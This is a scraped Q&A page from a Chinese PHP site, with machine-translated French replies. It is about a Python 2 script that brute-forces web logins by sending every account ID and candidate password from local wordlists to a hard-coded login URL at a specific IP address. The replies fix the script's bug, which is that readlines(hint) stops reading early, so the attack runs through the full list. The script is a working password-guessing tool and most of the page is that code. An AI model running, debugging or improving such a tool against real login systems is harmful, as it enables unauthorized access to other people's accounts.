网页爬虫 - python暴力破解密码的数据量问题
PHP中文网
PHP中文网 2017-04-18 10:16:35
0
2
516

我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?

def try_pwd(userid,pwd):  #提交数据函数
    myurl = 'http://222.200.98.147/login!doLogin.action'
    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})
    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
    request = urllib2.Request(url=myurl, data=postdata, headers=header)
       
    try:
        acp_login = urllib2.urlopen(request,timeout=10)
    except urllib2.HTTPError,e:
        print e.reason,e.code
    re_info = acp_login.read()
       
    if re_info == '{"msg":"/login!welcome.action","status":"y"}':
        print 'ID:',userid
        print 'password:', pwd
        isfind = True
    else:
#         print 'None'
        isfind = False
    return isfind
    
    
start_time = time.time()
print 'Start...'
userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件
for userID in userID_file.readlines(100):
    userID = userID.strip('\n')
    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件
    for t_pwd in pwd_file.readlines(10000):
         t_pwd = t_pwd.strip('\r\n')
         isfind = try_pwd(userid=userID,pwd= t_pwd)
         if isfind == True:
             break
    if isfind == False:
         print userID, u'没有匹配'
    pwd_file.close()     

userID_file.close()
end_time = time.time()
print "total time: ",end_time-start_time
PHP中文网
PHP中文网

认证高级PHP讲师

répondre à tous(2)
小葫芦

1. Veuillez poster le code
2. Êtes-vous sûr d'avoir parcouru tous les mots de passe

readlines(hint=-1)
Lire et renvoyer une liste de lignes du flux. Un indice peut être spécifié pour contrôler le nombre de lignes lues : plus aucune ligne ne sera lue si la taille totale (en octets/). caractères) de toutes les lignes dépasse jusqu'à présent l'indice.

Notez qu'il est déjà possible d'itérer sur des objets fichier en utilisant for line in file: ... sans appeler file.readlines().

https://docs.python.org/3.3/l...

Votre code ne lit que 100 lignes, le mot de passe correct doit être après 100 lignes

大家讲道理

Je viens de l'essayer et j'ai supprimé les paramètres dans readlines et ça a fonctionné à nouveau ?_?

Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!